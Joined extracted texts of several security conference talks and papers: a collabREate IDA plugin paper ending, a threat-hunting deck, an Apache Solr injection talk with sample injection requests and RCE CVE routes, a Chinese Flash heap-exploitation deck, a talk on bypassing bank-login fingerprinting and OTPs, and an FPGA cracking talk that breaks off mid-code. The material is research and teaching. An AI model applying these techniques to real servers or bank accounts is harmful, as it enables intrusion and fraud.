Description Size 4 bytes Size of this datagram (inclusive) Command 4 bytes Indicates type of communication UpdateID 8 bytes Unique ID assigned per update UpdateData Varies The actual update Data. Table 2: Basic collabREate datagram structure. When the server is operating in database mode, all datagrams relating to IDA database modifications are stored into the SQL database. This allows for their eventual retransmission to users that connect to the associated project and request any updates that they may have missed. 3.5 Example CollabREate Session Depending of a variety of factors, the process of setting up a collabREate session varies. As an example, a typical sequence of events is provided. First, a collabREate server is is launched. For this example, we assume the server is operating in database mode. Next, the plugin is activated by an IDA user which prompts the user to enter server host information. The user authenticates with the server using standard techniques [9][10]. Following authentication, the collabREate plugin sends the MD5 hash of the input file that the user is analyzing to the server. The MD5 value is used to ensure that multiple users are in fact working on identical input files. Several projects might share the same MD5 (indicating that there are several projects relating to the same original binary for whatever reason). The server sends back a list of projects and checkpoints to the plugin. At this point, the user can choose to join an existing project, create a new project, or fork a new project from a checkpoint. For any of these methods, the user may indicate the types of updates to which they would like the plugin to publish and subscribe. At this point the IDB is tied to the project using a unique identifier to facilitate reconnecting to the project at a later time. Once a collabREate session is established, users can largely work within IDA as they normally would. Updates are broadcast to all other users connected to same project as they occur. Attempting to activate the plugin a second time (via Hotkey or menu item) results in a modal dialog box presenting collabREate specific commands that allow the user to fork, create a checkpoint, manage permissions, disconnect, etc. 4 Future Work A number of features remain on the collabREate “todo” list including but not limited to the following: 1. Web interface for administration of a collabREate server including the ability to add/remove/edit users, and well as delete or archive projects. 2. More granular client and server side permissions. 3. Provide a means for disconnected users to cache updates for later merging once a connection to a server is re-established. 4. Project migration/replication across different collabREate servers. 5. Add revert capability to the checkpoints. 6. Provide an XML export feature for update content. 5 Conclusions CollabREate is a step in the right direction for reverse engineers requiring a means to share their work among several users, across several locations, or across multiple versions of IDA. Leveraging the capabilities of the IDA SDK allows collabREate to provide a very low learning curve for new users without compromising the degree of supported IDA features. In the future, it is anticipated that the evolving nature of the IDA SDK will facilitate additional useful features for both groups and individuals such as an undo-like capability. References [1] Ida Sync. P. Amini. http://pedram.redhive.com/code/ida _plugins/ida_sync/ 5 [2] IDA Pro. http://hex-rays.com/ [3] CollabREate. C. Eagle, T. Vidas. http://www.idabook.com/collabreate [4] CVS – Open Source Version Control. http://www.nongnu.org/cvs/ [5] Subversion version control system. http://subversion.tigris.org [6] IDARub. Spoonm. http://www.metasploit.com/users/sp oonm/idarub/ [7] The Java Database Connectivity API. http://java.sun.com/javase/technol ogies/database/ [8] Eagle, Chris. The IDA Pro Book. San Francisco: No Starch Press, 2008. [9] CHAP. RFC 1994 [10] HMAC. RFC 2104 6
pdf
Respond Before Incident Building proactive APT defense capabilities (Public Version) • Introduction • Popular cyber attack countermeasures • Evolution of cyber incident handling • Traditional incident handling challenges • Ideal CSIRT Resource Allocation • Story of a long-term NPO victim • Original Compromised Situation • Attack campaigns and TTPs • Effective Mitigation Cycle • Proactive Defense How-to • Situation Awareness & Visibility Building • Proactive Internal Visibility: Threat Hunting • External Situation Awareness: Threat Intelligence • Intelligence-driven Proactive Defense • Threat Hunting In-action • Network-based & Host-based Threat Hunting • Detecting abnormalities via Modeling • Prioritizing with Threat Intelligence • Intelligence-driven Threat Hunting Cycle • Conclusion: Be Proactive  tt@teamt5.org • Frequent Black Hat / hacker conference speaker • Vulnerability researcher and owner of several CVE ID • 10+ years on security product development • 8+ years experience on cyber threat research • Organizer of HITCON   • Digital Forensics & Incident Response background. • Development of Threat Intel Platform and IR tools. • Hacks in Taiwan Conference (HITCON) committee. • Spoke at some conferences, played some CTF.  gd@teamt5.org Introduction Password Login Firewall Antivirus Malware Supply Chain Email Phishing IDS / IPS Vulnerability / Worm Drive-by Download Sandbox UTM / NGFW EDR / UEBA Network-exploit & Opportunistic → Endpoint-exploit & Targeted • Famous system clean-up software • Official website trojanized for 1 month 2 million user download and infected • Only targeted user will received 2nd stage RAT from github, wordpress • Targets: Intel, Google, Microsoft, Akamai, Sony, Samsung, Vmware, HTC, Linksys, D-Link, Cisco • Kaspersky: similar to APT17 base64 http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident • Every vendor thinks it’s false positive • Digitally Signed by CCleaner vendor • Parent company is Avast antivirus • Host-based signature delayed 1m • 2017-08-15 CCleaner trojanized • 2017-09-14 ClamAV add signature • 2017-09-18 Cisco Blogged, only 10 detects • Network-based traffic is encrypted • RAT payload on https://github.com , https://wordpress.com • Even if you decrypts HTTPS, malware command is normal blog search • Every human got sick eventually − Nobody never get sick. − Flu is not a big risk if you can recover fast. − Exercise your body every day to recover faster. • Systems eventually got compromised. − 100% Blocking is difficult. − Detect early, recovery faster. − Periodically health checks • Hunt for unknown threats! Digital Forensics → Incident Response → Proactive Incident Handling Disk Forensics Network Forensics National CERT Memory Forensics Threat Hunting Remote Forensics EDR SIEM, SOC, MSSP Private CSIRT Stuxnet / APT Orchestration Threat Intelligence Traditional CSIRT Ideal Proactive CSIRT Incoming Data Large quantity false alarms Alarms categorized and prioritized Staff duty Overwhelming work-loads Time to research and tracking Routine Jobs Call-center like response Solving incoming tickets Discovering abnormalities Patrolling Constituency Event Systems Separated Vendor-silos Human apply settings Automated orchestration Playbook and self-remediation Response System Various tools fragile reports Integrated reporting Current Majority Organizations Ideal Proactive Organizations Story of a long-term NPO Target • A research NPO in Taiwan • 500~1000 PC and servers • Most users are autonomous and difficult to regulate • Researchers • Professors • IT budge: Pretty Limited, rsyslog on a few servers • Network visibility: NAT built-in firewall • Endpoint visibility: only one antivirus • MIS says they • Received FW blocking alert everyday • Received VPN logon notification everyday (but don’t know why) • Received Antivirus quarantine notification every few days • Action taken • Reinstall the system every time large number of alerts triggered • What actually happened • Attacker compromised director, IT manager, RD system and installed backdoors. • Critical servers were controlled by attackers for a long time • HR and ERP system: database leaked. • AD server: Distributed malware with GPO. Credentials dumped. • Office Scan server: Signature update was replaced with malware. • Exchange server: Credentials leaked. Attackers were able to login OWA. • Web server: Web app upload webshell, compromised for a long time. • Multi-Layered defense reinforcement • Install Email sandbox, IPS, WAF etc • Deploy full packet recording and EDR • Exam the effectiveness of current security solution. • Check all system anti-virus works? • Write more rules on firewall • Fusing internal and external intelligence • Create Case management SOP • Block C2 from previous incidents to firewall • Applied our mitigation defense cycle • Helped to monitor and responds. Incidents decrease 95% in 3 months. Research Prevent Detect Respond • Daily compromise assessment scanning. • Responding to attacks promptly. • Less spear-phishing emails. • Attacker shifted TTP • target web server • cracking VPN • exchange OWA password Proactive Defense How-to • Visibility is surveillance camera on all corners of your constituency • Critical Data, Users, Assets, Network, Backup Plan, Physical Location • Situation Awareness is knowing “what happened” all the time • Know what to know, too much information is no information. External Situation: Sight, cloud, weather, wind speed outside? Internal Situation: Navigation, radio, engine speed dashboard? How to find-out Unknown-unknowns? How to quickly learn Unknown-unknowns? Proactive Defense Cycle Intelligence Platform Threat Hunting Threat Intel Intel Platform Prevention Traditional Signature Antivirus Firewall Detection Internal & External Threat Intelligence Proactive Threat Hunting Behavior Analytics Known-Known Known-Unknown Unknown-Unknown Threat Hunting In-action • Network-based Hunting • Target: C&C channel, lateral movement, data exfiltration • Monitor: Firewall, IPS, Proxy, NAT, Moloch, etc • Outliers: packet with most outbound IP, longest, largest amount? • Easy to scale-up, can search 10000 endpoint connection logs. • Host-based Hunting • Target: Compromised system, host, device • Monitor: Process, File, Service, MBR, Registry, Eventlog, etc • Outliers: Hidden process, Unique artifacts, Autorun entry, etc • Difficult to scale-up without proper tool or hunting platform • Application artifacts are more complicated than OS artifacts. %Temp%\RarSFX1\1.exe looks suspicious dropper, Is this a ransomware, banking Trojan or APT ? > Not sure, check network side. Any suspicious outgoing connection or DNS from this endpoint at the timeframe of alert? > Yes, one suspicious VPS IP found. Get me additional logs to build activity timeline on this endpoint using remote forensics tools? > Yes, this host has been compromised Is there any other host in my organization connecting to the same IP? > Yes, please block all of them. • Standalone threats • Malware does not try hide itself or hijack other process • File name or hash is special, only appears on a few endpoints. • Masqueraded threats • Hiding methods: Loaded using svchost.exe, DLL-Hijacking, etc. • Same filename but different in-memory attributes. • System Forensics • EventLogs, Web logs, File system, Startup artifacts • File-less threats: PowerShell, WMI Script, In-memory • How many version of Office Word is in my organization? • Which endpoint has a rarely seen Word version? • Who has different parent process than others? • Why is the intel driver using AES cryptography? • GRR, Google Rapid Response • https://github.com/google/grr • Powerful but difficult to use • OsQuery, Facebook Performant Endpoint Visibility • https://osquery.io/ • Generic wmi-like system information access • LOKI, Simple IOC Scanner • https://github.com/Neo23x0/Loki • Easy to use, cannot remediate or clean-up • Packet Content-based • Traditional IDS/IPS: Pattern recognition • Deep-Packet Inspection: Application-aware NG-FW • Full Packet Retention: Moloch etc • Expensive, slow, but comprehensive preservation (c.f. DLP). • Metadata-based • Netflow connections: Easy to preserve for a long while. • Passive DNS replication: What IP does DNSName resolved to? • Retro-Hunting: Compare with latest intelligence feeds. • Lightweight, fast, but cannot see what data leaked. • Who is most accessed endpoint? • Why is there office access to non-server endpoints? • How many IP organization did finance department access? • Why are there endpoints connecting to China? • Bro or Snort or Suricata, the old friends are always useful • Write snort rule, de-facto industrial standard • Moloch, full packet capturing, indexing, and database • https://github.com/aol/moloch • Extremely useful when investigating incidents • Bro, Network Security Monitor • https://www.bro.org/ • Powerful, has many plugins Malware A Domain A IP A IP B WHOIS Email Endpoint A Domain B Malware B File Hash Path Name Attributes Custom IoC Yara Rule Network IP Domain Organization Endpoint User Department Event Log MBR Startup WMI Script Endpoint B • Bring external situation awareness into your constituency • Source: OSINT blog, commercial feeds, bring-your-own • Matching Indicators: IP, Domain, IoC, Snort, Yara rule • Collect artifacts: As precise as possible. • Triage artifacts: Pre-filter and post-filter. • Generate new indicators • Create Yara Rule on-the-fly • Sweep with indicators • Host & Network-based • CRITS, MITRE Collaborative Research Into Threats • https://crits.github.io/ • Powerful but complicated entity model • Cyphon, Incident Management and Response Platform • https://www.cyphon.io/ • YETI, Your Everyday Threat Intelligence • https://yeti-platform.github.io/ • Powerful and easy to use Threat Hunting Threat Intel Host-based activity Network-based traffic Central log management Suspicious system activity Previous security incidents 0day / CVE vulnerability Latest attack method TTP Adversary campaign tracking Industrial Attack Trends External Incident Sharing Intelligence Platform Proactive Defense Cycle Conclusion • Don’t response only when there’s incident • When you see a bear, you run faster than other people. • When you see Crime attack, you run faster than other victim. • When you see APT attack, you must run faster than APT actor. • Re-think about your strategy • Effective Mitigation Cycle • Intelligence-driven Proactive Defense Strategy • Intelligence-driven Threat Hunting Cycle Q&A • FIRST CSIRT Framework 1.1 (FIRST) • Security Operations Center on a Budget (AlienVault) • Evolving to Hunt (Arbor Networks) • Definitive Guide to Cyber Threat Intelligence (Fireeye iSIGHT) • Threat Hunting Academy: Threat Hunting Essentials (Sqrrl Data)
pdf
Apache Solr Injection Michael Stepankin @artsploit DEF CON 27 @whoami – Michael Stepankin • Security Researcher @ Veracode • Web app breaker • Works on making Dynamic and Static Code Analysis smarter • Penetration tester in the past • Never reported SSL ciphers Ones upon a time on bug bounty… What is Solr? • Solr is the popular, blazing-fast, open source enterprise search platform built on Apache Lucene • Written in Java, open source • REST API as a main connector • Used by many companies (AT&T, eBay, Netflix, Adobe etc…) https://lucene.apache.org/solr/ How does it look like? Solr Quick Start $ ./bin/solr start -e dih //start solr //add some data //search data Solr 101: simple query Requested content-type Solr 101: more complex query Local parameter name (default field) Parser type Collection (‘database’) name Request Handler (select, update, config) Solr 101: more complex query Requested Fields (columns) Subquery for column ‘similar’ Requested response type Common Solr Usage in Web App : Common Solr Deployment: behind a web app : Browser Solr /search?q=Apple /solr/db/select?q=Apple&fl=id,name&rows=10 Solr Parameter Injection (HTTP Query Injection) : Browser Solr /search?q=Apple%26xxx=yyy%23 /solr/db/select?q=Apple&xxx=yyy#&fl=id,name&rows=10 Solr Parameter Injection: Caveats • We can add arbitrary query parameters, but: • The request is still handled by the SearchHandler • We cannot rewrite collection name • But Solr still have some magic for us… Solr Parameter Injection: Magic Parameters GET /solr/db/select?q=Apple&shards=http://127.0.0.1:8984/solr/db&qt=/ config%23&stream.body={"set-property":{"xxx":"yyy"}}&isShard=true • shards=http://127.0.0.1:8984/solr/db - allows to forward this request to the specified url • qt=/config%23 – allows to rewrite query • stream.body={"set-property":{"xxx":"yyy"}} – treated by Solr as a POST body • isShard=true - needed to prevent body parsing while proxying Solr Parameter Injection: Magic Parameters GET /solr/db/select?q=Apple&shards=http://127.0.0.1:8984/solr/db&qt=/ config%23&stream.body={"set-property":{"xxx":"yyy"}}&isShard=true Solr Parameter Injection: collection name leak Solr Parameter Injection: update another collection * The error is thrown after the update is done Solr Parameter Injection: query another collection * We can rename columns in our query to match the original collection Solr Parameter Injection: JSON response rewriting * json.wrf parameter acts like a JSONp callback, May work depending on the app’s JSON parser Solr Parameter Injection: XML response poisoning * ValueAugmenterFactory adds a new field to every returned document Solr Parameter Injection: XSS via response poisoning * Xml Transformer inserts a valid XML fragment in the document Solr Local Parameter Injection : Browser Solr /search?q={!dismax+xxx=yyy}Apple /solr/db/select?q={!dismax+xxx=yyy}Apple&fl=id… Solr Local parameter injection • Known since 2013, but nobody knew how to exploit • We can specify only the parser name and local parameters • ‘shards’, ‘stream.body‘ are not ‘local’ • XMLParser is the rescue!: Solr Local parameter injection: CVE-2017-XXXX • XMLParser is vulnerable to XXE, allowing to perform SSRF: • Therefore, all ‘shards’ magic also works if we can only control the ‘q’ param! Wait! Are you mad telling us about HTTP injection, XXE and (even) XSS? Where is my CALCULATOR???!!! Ways to RCE • Documentation does not really help • But It’s java, so…. • For sure it has XXEs • For sure it has Serialization • Indeed it has ScriptEngine() • Indeed it even has Runtime.exec() CVE-2017-12629 RunExecutableListener RCE Target versions: 5.5x-5.5.4, 6x-6.6.3, 7x – 7.1 Requirements: None CVE-2017-12629 RunExecutableListener via shards • (step 1) Add a new query listener • (step 2) Perform any update operation *Tnx Olga Barinova (@_lely___) for help with making it workJ CVE-2017-12629 RunExecutableListener via XXE • (step 1) Add a new query listener • (step 2) Perform any update operation CVE-2019-0192 RCE via jmx.serviceUrl Target versions: 5x – 6x. In v7-8 JMX is ignored Requirements: OOB connection or direct access CVE-2019-0192 RCE via jmx.serviceUrl What happen inside? Leads to un.rmi.transport.StreamRemoteCall#executeCall and then to ObjectInputStream.readObject() CVE-2019-0192 RCE via jmx.serviceUrl 1st way to exploit (via deserialization) • Start a malicious RMI server serving ROME2 object payload on port 1617 • Trigger a Solr connection to the malicious RMI server by setting the jmx.serviceUrl property • RMI server responds with a serialized object, triggering RCE on Solr *Note: ROME gadget chain requires Solr extraction libraries in the classpath CVE-2019-0192 RCE via jmx.serviceUrl CVE-2019-0192 RCE via jmx.serviceUrl 2nd way to exploit (via JMX) • Create an innocent rmiregistry • Trigger a Solr connection to the rmiregistry by setting the jmx.serviceUrl property. It will register Solr’s JMX port on our rmiregistry. CVE-2019-0192 RCE via jmx.serviceUrl 2nd way to exploit (via JMX) • Connect to the opened JMX port and create a malicious MBean CVE-2019-0193 DataImportHandler RCE Target version: 1.3 – 8.1.2 Requirements: DataImportHandler enabled Example: search.maven.org Example: search.maven.org Example: search.maven.org Example: search.maven.org Example: search.maven.org Thank you! F u ll wh itep ap er a t: h ttp s ://g ith u b .c o m/v e ra c o d e - re s e a rc h /s o lr-in jectio n
pdf
Flash内存管理与漏洞利用 Hearmen 北京大学软件安全研究小组 目录 AVM2 虚拟机简介 CVE-2015-0313 CVE-2015-3043 CVE-2015-5119 攻击演示 uCVE-2015-3043 AVM2 虚拟机简介 uAVM2 是 目 前 使 用 的 flash player 的 核 心 , 所 有 的 ActionScript 3 代码都由AVM2来执行 u采用Jit与解释器混合执行的方式,大幅提升flash的运 行效率 ActionScript 3执行流程 u《avm2overview》 ActionScript 3 bytecode Constant pool 堆栈初始化 常量池初始化 JIT 解释器 机器语言 编译器 AVM 2 AVM2 内存管理 u使用MMgc进行内存管理 u延缓引用计数,标记/清除算法 u从操作系统中申请大量保留空间,按页交予垃圾回收机 制GC进行管理。 AVM2 内存管理 HeapBlock 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k 4k HeapBlock HeapBlock HeapBlock HeapBlock GCHeap Free[0] Free[1] Free[2] Free[3] Free[4] Free[5] …… Free[30] 1 block 1 block 1 block 1 block 2 block 2 block 2 block 2 block 3 block 3 block 3 block 3 block 4 block 4 block 4 block 4 block 5 block 5 block 5 block 5 block 6 block 6 block 6 block 6 block 128 block … block … block … block FreeLists CVE-2015-0313 ByteArray.Clear() 利用步骤 堆喷射,控制内存布局 触发漏洞,更改Vector的length属性 任意地址读写,布局shellcode 更改对象虚表,接管程序运行流程 ByteArray uByteArrayObject uBuffer uBuffer大小以4k倍数增长 u通过FixedMalloc进行内存分配 FixedMalloc FixedMalloc::Alloc(size) { if(size < kLargestAlloc) // 32bit 2032 FindAllocate(size)->FixedAlloc() else LargeAlloc(size) } FixedBlock FixedAlloc FixedAllo c FixedBlock FixedBlock FixedBlock FixedBlock Free item Free item m_firstFree firstFree m_firstBlock Uint Vector 内存布局 data data Data_1 data data data data Data_2 data data Worker data data FixedBlock data data Block Head Vector<uint> Vector<uint> Vector<uint> si32 Main FixedBlock 稳定性的考虑 uByteArray.clear之前的额外操作 ØGCHeap内存释放,将HeapBlock挂入freelist末尾 ØGCHeap内存分配,从freelist头部开始遍历。 CVE-2015-3043 ØFlash在解析Flv中Nellymoser压缩的<tag>时,没有对buffer长度 进行正确的检验,从而导致的堆溢出 Ø被溢出的对象大小是0x2000 Ø该漏洞出现过 两次 内存布局 Vector<uint> Vector<uint> Free Vector<uint> Vector<uint> Vector<uint> Vector<uint> Corrupt Buffer Vector<uint> Vector<uint> Vector<uint> Vector<uint> Corrupt Obj Vector<uint> Vector<Obj> 加载flv 重新布局 Object Vector GC::Alloc GC::Alloc { if(size < kLargestAlloc) //1968 GCAlloc() else GCLargeAlooc::Alloc() } GCBlock GCAlloc GCAlloc GCBlock GCBlock GCBlock GCBlock Free item Free item m_firstFree firstFree m_firstBlock Free item Free item Free item Free item m_qlist GCLargeBlock CVE-2015-5119 内存布局 Class2 另一种办法 uObject Vector u通过GC直接在内存中查找 Vector uObj -> Vector[ i ] 优雅的利用 uNo ROP uAS完成操作 uBypass CFG FunctionObject uAS中的函数对象 uFunction.apply ; Function.call;Function() FunctionObject uCore可由FunctionObject查找 AS3_call Demo u完全使用AS代码 操作API u只能精确控制两 个参数 u调用的函数参数 个数需为三或四 Flash_18_0_0_209/232 uVector长度验证 u隔离堆 u强随机化 长度验证 uUint Vector uObject Vector 绕过验证 u堆溢出 uString对象 u更改长度字段/更改起始指针 u任意地址读 绕过验证 uVectorObject u更改数据对象指针 uCookie作为length u交换Vector<uint>长度与Cookie 谢谢
pdf
Greater Than One Defeating “strong” authentication in web applications - Brendan O’Connor Introduction Background Information Control Types Device Fingerprinting One Time Passwords Knowledge Base Archives Conclusions Introduction Internet Banking Bill Pay Car Loans and Mortgages Retirement Plans / 401K Stock Trading / Investments Background Federal Financial Institution Examination Council Authentication in an Internet Banking Environment The agencies consider single-factor authentication, as the only control mechanism, to be inadequate for high-risk transactions involving access to customer information or the movement of funds to other parties . . . Account fraud and identity theft are frequently the result of single-factor (e.g., ID/password) authentication exploitation. source: http://www.ffiec.gov/ffiecinfobase/resources/info_sec/2006/frb-sr-05-19.pdf Background Access to customer information or movement of funds – read: pretty much every screen in an Internet Banking application Does not mandate 2 factor authentication – says that single factor is insufficient (greater than one) Hardware tokens are expensive and easily lost or broken Biometrics for the end user are out of the question Control Types Mutual Authentication Device Fingerprinting Out of Band Authentication One Time Passwords Knowledge Base Archives Control Types Mutual Auth This is not device based Mutual Auth Site to user authentication Device Fingerprinting Persistent cookies Information from HTTP headers Device Interrogation Control Types Out of Band Auth Not true OOB Auth Only delivery is Out of Band. Authentication still happens within HTTP session Email delivery, SMS message to cell phone, Phone call that reads you a PIN Control Types One Time Passwords Dynamic single use password or PIN (generally delivered via OOB method) Static pre-issued One Time Pads Not to be confused with algorithmic token based auth (such as RSA SecurID©) Control Types Knowledge Base Archives (KBAs) Questions based on information gleaned from public records databases In 2002 did you buy: 1. Honda Accord 2. Toyota Camry 3. Ford Taurus 4. None of the Above Control Types Bolt On vs. Built In Enhanced authentication is usually a third party product integrated into existing application Increased attack surface Standard authentication process must be interrupted Exploit architectural weaknesses Authentication Architecture Simple Request/Response Authentication 1. Post username/password 2. Database lookup 3. Return 1 or 0 4. “Invalid username or password” Device Fingerprinting Hybrid Approach Picture/phrase based mutual auth OTP or challenge questions required if device is not recognized Persistent cookie set after passing auth criteria Request Analysis Single server or multiple server authentication Device Fingerprinting Request Flow 1. Push auth to new system 2. Valid user? 3. Match auth criteria? (cookie, fprint) 4. Challenge questions/OTP 5. Success – Resume authentication 6. Logged In Authentication Flow Post username (and cookie if exists) Challenge for device fingerprint Post Fingerprint (if no cookie) New Authentication challenge Answer challenge Old login Device Fingerprinting How are 2 different servers with different SSL sessions keeping state? Analyze Post body What are they trying to do? How are they doing it? Dissecting parameters and values Device Fingerprinting - Analysis pm_fpua = mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.8.0.10) gecko/20070216 firefox/1.5.0.10|5.0 (Windows; en-US)|Win32 pm_fpsc = 32|1024|768|768 pm_fpsw = def|pdf|swf|qt6|qt5|qt4|qt3|qt2|qt1|j11|j12|j13|j14|j32 |wpm|drn|drm pm_fptz = -4 pm_fpln = lang=en-US|syslang=|userlang= pm_fpjv = 1 pm_fpco = 1 Device Fingerprinting - Analysis auth_deviceSignature "appCodeName":"Mozilla", "appName":"Microsoft Internet Explorer","appMinorVersion":"0", "cpuClass":"x86","platform":"Win32","systemLanguage":"en-us", "userLanguage":"en-us", "appVersion":"4.0 (compatible; MSIE 7.0; ..UA Stuff..)", "userAgent":"Mozilla/4.0 (compatible; ..More UA Stuff..)", "plugins":[{"name":"Adobe Acrobat Plugin","version":"1"}, {"name":"QuickTime Plug-in","version":".."}, {"name":"Windows Media Player Plug-in Dynamic Link Library","version":""}, {"name":"Macromedia Shockwave Flash","version":"8"}, {"name":"Java Virtual Machine","version":""}], "screen":{"availHeight":990,"availWidth":1251,"colorDepth":32,"height":1024," width":1280}, Device Fingerprinting - Analysis The application is trying to gather information specific to your device to form a fingerprint How can their web server interrogate you device? Javascript of course! Reverse Engineering isn’t hard when you have source code… Device Fingerprinting - Analysis /* This function captures the User Agent String from the Client Browser */ function fingerprint_browser () { /* This function captures the Client's Screen Information */ function fingerprint_display () { That wasn’t too hard Device Fingerprinting Failing Device Fingerprinting Challenge questions One time password Out of band delivery Session ID is not enforced (usually) Successful Authentication Picture and pass phrase for mutual auth Persistent cookie is set (Are you using a private or public computer?) Device Fingerprinting - Attack Fuzz fingerprinting parameters Determine failure thresholds Site specific IP lookup Challenge Questions Lack of randomization Q1, Q2, Q3, Q1 … Trivial to enumerate valid usernames Device Fingerprinting - Attack Multiple servers and redirects The client keeps state You are the client Systems that use a single session Out of state requests are possible Force an OTP to be sent Force challenge questions Device Fingerprinting - Attack Mutual Authentication Picture and Passphrase Servers mask Get request through GUIDs or Stream Ciphers How can we defeat this? 1. IV Collision (exhaustive requests) 2. MitM On the Fly replacement 3. Clear text Alt tags Device Fingerprinting - Attack All Implementations of this System have the same Alt tag for each unique image. Shared catalog of images Having access to any one app using this system allows you to mirror the image catalog No need to attack the app’s dynamic link function Device Fingerprinting – Measure Up Designed to Combat Phishing Transaction Fraud Identity Theft Device Fingerprinting – Phishing Phishing is targeted at a specific organization Attacker can simply copy the fingerprinting Jscript from target site As long as username is correct, failing fprint will present challenge questions Attacker gets answer, and the questions are not random Device Fingerprinting – Phishing Spear-phishing easier than ever Valid account names can be enumerated Device fingerprint can be brute forced What are the chances valid account names are used for email? (user@yahoo, user@hotmail, user@aol, etc.) A phishing email including a user’s security image and passphrase has a greater chance of success Device Fingerprinting - Fraud Does absolutely nothing to stop Fraud Inheritance trust model still applies Once authenticated, all transactions are valid Identity Theft Datamasking (account #*******1234) Check Images > just an account number E-Statements or Tax forms One Time Passwords Covered some of this already Only delivery is out of band Hardware and “Soft” tokens If the app isn’t enforcing all phases within a single session, same issues apply Long or non-existent TTLs OTPs are most effective when required for every login One Time Passwords Can be Man in the Middle’d Email or SMS delivery sets a pattern for the user XSRF is possible in conjunction with a phishing site One Time Passwords – Measure Up Better than fingerprinting because its more difficult to be transparent Trains the user to trust email more Clicking links Using email for security purposes Does nothing to combat Fraud or Identity Theft Inheritance trust model still applies Knowledge Base Archives Not nearly as common (but out there) Used in conjunction with persistent cookie (usually) By definition, public records are used “Skip this question” option Randomization works in our favor Multiple requests from multiple sessions Pattern analysis Knowledge Base Archives In 2002 did you buy 1. Honda Accord 2. Toyota Camry 3. Ford Taurus 4. None of the Above In 2002 did you buy 1. Nissan Sentra 2. Chevy Cavalier 3. Ford Taurus 4. None of the Above Knowledge Base Archives Less effective than challenge questions Can be defeated through response analysis with zero prior knowledge Same shortcomings as other solutions Doesn’t stop phishing Doesn’t stop transaction fraud May make Identity Theft easier Is There a Better Way? Mutual Auth Responses must always be given Same response must always be given for same authentication criteria Auth should be algorithmic Challenge Questions Still single factor Replacing something the user knows with 2 things the user knows Flawed by design – users can pick simple questions with simple answers Is There a Better Way? Device Fingerprinting Current implementations can be bypassed or replicated with ease Replacing something the user knows with something the computer knows Forgiving thresholds and persistent cookies aren’t buying us anything Is There a Better Way? Stop fingerprinting devices, start fingerprinting behaviors True transaction based behavior analysis and anomaly detection HTTP header information != behavioral analysis Hurdles for secure implementation Sheer volume of data Bolt On vs. Built In – this needs to be built into the application itself Is There a Better Way? Use a Positive Authentication Model New transactions should require strong auth Use hash values of transactions to prevent tampering Trojans and BHOs that target specific institutions are not uncommon Sit and Wait – on the fly transaction replacement by malware is in the wild Force the user to review and verify login events and transactions Make the user be involved in the security of their account Is There a Better Way? Hardware tokens have a good security record If the company doesn’t want to pay, let the user opt-in and share the cost Conclusions Why did I do this? Traditional attack vectors are still a threat This does not address any other vulnerability types, which are still an issue If XSS exists, these controls are generally worthless (persistent cookie) Browser based vulnerabilities are still a problem Putting controls in the wrong place – too much attack surface Conclusions Financial Industry Problems If a customer loses their checkbook or credit card, the FI picks up the tab Who pays for online fraud due to phishing or malware? Lose/Lose Company – Free online services may go away (Risk vs Reward) Customer – Stop using online systems, because they’re covered in the physical world Conclusions The Cycle People complain about phishing, fraud, and ID theft Government regulates and legislates Private sector implements technology that satisfies legal requirements but does not address the real problem Attackers adapt Rinse, Repeat Conclusions Why we’re worse off False sense of security to end user Taking a step backwards in some cases Most technologies being deployed aren’t addressing the real problem App vendors need to build it in, not bolt it on Security products should reduce attack surface, not increase it Thank You
pdf
DEFCON 2007 David Hulton <david@toorcon.org> Chairman, ToorCon Security R&D, Pico Computing, Inc. Researcher, The OpenCiphers Project Faster PwninG Assured: New Adventures with FPGAs DEFCON 2007 2007 © The OpenCiphers Project Overview  FPGAs – Quick Intro  New Cracking Tools! (Since ShmooCon)  BTCrack – Bluetooth Authentication  WinZipCrack – WinZip AES Encryption  New to 2007! (Since Last Defcon)  VileFault – Mac OS-X FileVault  jc-aircrack – WEP (FMS)  Works in Progress  Conclusions DEFCON 2007 2007 © The OpenCiphers Project FPGAs DEFCON 2007 2007 © The OpenCiphers Project FPGAs DEFCON 2007 2007 © The OpenCiphers Project FPGAs  Quick Intro  Chip with a ton of general purpose logic  ANDs, ORs, XORs  FlipFlops (Registers)  BlockRAM (Cache)  DSP48’s (ALUs)  DCMs (Clock Multipliers) DEFCON 2007 2007 © The OpenCiphers Project FPGAs  Virtex-4 LX25 DEFCON 2007 2007 © The OpenCiphers Project FPGAs  Virtex-4 LX25  IOBs (448) DEFCON 2007 2007 © The OpenCiphers Project FPGAs  Virtex-4 LX25  IOBs  Slices (10,752) DEFCON 2007 2007 © The OpenCiphers Project FPGAs  Virtex-4 LX25  IOBs  Slices  DCMs (8) DEFCON 2007 2007 © The OpenCiphers Project FPGAs  Virtex-4 LX25  IOBs  Slices  DCMs  BlockRAMs (72) DEFCON 2007 2007 © The OpenCiphers Project FPGAs  Virtex-4 LX25  IOBs  Slices  DCMs  BlockRAMs  DSP48s (48) DEFCON 2007 2007 © The OpenCiphers Project FPGAs  Virtex-4 LX25  IOBs  Slices  DCMs  BlockRAMs  DSP48s  Programmable Routing Matrix (~18 layers) DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking  Pairing bluetooth devices is similar to wifi authentication  Why not crack the bluetooth PIN?  Uses a modified version of SAFER+  SAFER+ inherently runs much faster in hardware  Attack originally explained and published by Yaniv Shaked and Avishai Wool  Thierry Zoller originally demonstrated his implementation at hack.lu DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking  How it works  Capture a bluetooth authentication (sorry, requires an expensive protocol analyzer)  This is what you'll see Master in_rand m_comb_key m_au_rand m_sres Slave master sends a random nonce s_comb_key sides create key based on the pin master sends random number s_res slave hashes with E1 and replies s_au_rand slave sends random number master hashes with E1 and replies DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking  Just try a PIN and if the hashes match the capture, it is correct  Extremely small keyspace since most devices just use numeric PINs (1016)  My implementation is command line and should work on all systems with or without FPGA(s) DEFCON 2007 2007 © The OpenCiphers Project  FPGA Implementation  Requires implementations of E21, E22, and E1 which all rely on SAFER+  Uses 16-stage pipeline version of SAFER+ which feeds back into itsself after each stage  To explain, here's some psuedocode Bluetooth PIN Cracking DEFCON 2007 2007 © The OpenCiphers Project Bluetooth PIN Cracking for(pin = 0; ; pin++) { Kinit = E22(pin, s_bd_addr, in_rand); // determine initialization key m_comb_key ^= Kinit; // 